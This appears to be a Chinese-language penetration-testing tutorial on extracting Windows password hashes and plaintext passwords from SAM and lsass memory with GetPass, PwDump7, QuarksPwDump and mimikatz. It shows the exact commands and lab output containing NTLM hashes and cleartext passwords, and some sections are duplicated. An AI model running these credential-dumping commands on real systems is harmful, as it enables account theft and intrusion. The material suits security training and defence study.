

抓取密码

要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至 System。本地用户 名、散列值和其他安全验证信息都保存在SAM文件中。 lsass.exe进程用于实现 Windows的安全 策略(本地安全策略和登录策略)可以使用工具将散列值和明文密码从内存中的 lsass. exe进程或SAM文件中导出。

在Windows操作系统中,SAM文件的保存位置是C: Windows\System32 config该文件是被锁定的,不允许复制。在渗透测试中,可以采用传统方法,在关闭 Windows操作系统之后,使用FE盘进入文件管理环境,直接复制SAM文件,也可以使用VSS等方法进行复制。下面对常见的单机密码抓取工具和方法进行分析

getpass读取

打开GetPass工具所在的目录。打开命令行环境。运行64位程GetPassword。运行该程序后,即可获得明文密码

```
× User: Administrator
× Domain: HACK
× Password: 1234kl;\

Authentication Id:0;1489086
Authentication Package:Kerberos
Primary User:bob
Authentication Domain:HACK

× User: bob
× Domain: HACK
× Password: 1234kl;\
```

pwdump7读取

在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLMHash

```
C:\Users\bob\Desktop\PwDump7>PwDump7.exe
PwDump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: http://www.514.es

Administrator:500:AAAE2440C6F70D887B6A7E32BE02948:84D350D7D06C454D9F0FF6D34D4CD0A3:::
Guest:501:NO PASSWORDXXXXXXXXXXXXXXXX:NO PASSWORDXXXXXXXXXXXXXXXX:::
zhangsan:1006:5FCEB7BDD68257F9A6A5A68F7512604F:4BF7182A8EDA1434AB37A30B89321DBA:::
```

QuarksPwDump

下载QuarksPwDump.exe,在命令行环境中输入"QuarksPwDump.exe--dump-hash-local"导出三个用户的NLMLHash

```
C:\test>QuarksPwDump.exe
QuarksPwDump.exe
```

```
quarks-pwdump.exe <options>
```

Options :

```
-dhl  --dump-hash-local
-dhdc --dump-hash-domain-cached
-dhd  --dump-hash-domain (NTDS_FILE must be specified)
-db   --dump-bitlocker (NTDS_FILE must be specified)
-nt   --ntds-file FILE
-hist --with-history (optional)
-t    --output-type JOHN/LC (optional, if no⇒JOHN)
-o    --output FILE (optional, if no⇒stdout)
```

Example: quarks-pwdump.exe --dump-hash-domain --with-history

QuarksPwDump

QuarksPwDump

下载QuarksPwDump.exe,在命令行环境中输入 `QuarksPwDump.exe --dump-hash-local` 导出三个用户的NLMDHash

```
-----
\.\NTDS\NTDS.DIT
v0.2b -<(QuarksLab)>-

[+] Setting BACKUP and RESTORE privileges...[OK]
[+] Parsing SAM registry hive...[OK]
[+] BOOTKEY retrieving...[OK]
BOOTKEY = B1E207B36F6865A360426409E505FA93

----- BEGIN DUMP -----
zhangsan:1006:AAD3B435B51404eeaAD3B435B51404EE:CB136A448767792BAE25563A498A86E6:::
Guest:501:AAD3B435B51404eeaAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Administrator:500:AAD3B435B51404eeaAD3B435B51404EE:33B89CF1674C1378A9CBF91DE7189A7C:::
----- END DUMP -----

3 dumped accounts
```

mimikatz在线读取

在mimikatz目录下打开命令行环境'输入如下命令'在线读取散列值及明文密码'

```
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
```

```
mimikatz 2.2.0 x64 (oe.eo)
User Name      : Administrator
Domain         : HACK
Logon Server   : DC
Logon Time     : 2022/4/5 17:17:10
SID            : S-1-5-21-2716900768-72748719-3475352185-500

msv :
[000000003] Primary
* Username : Administrator
* Domain   : HACK
* LM       : dcd9b2727d9096cfff2935f97fb51ee1bb
* NTLM     : 33b89cf1674c1378a9cbf91de7189a7c
* SHA1     : f294ab3baf34158a1b33960dd1618b29e433b68c

tspkg :
* Username : Administrator
* Domain   : HACK
* Password : 1234kl;'

wdigest :
* Username : Administrator
* Domain   : HACK
* Password : 1234kl;'

kerberos :
* Username : Administrator
* Domain   : HACK.COM
* Password : 1234kl;'

ssp :
credman :

Authentication Id : 0 ; 8517875 (00000000:0081f8f3)
```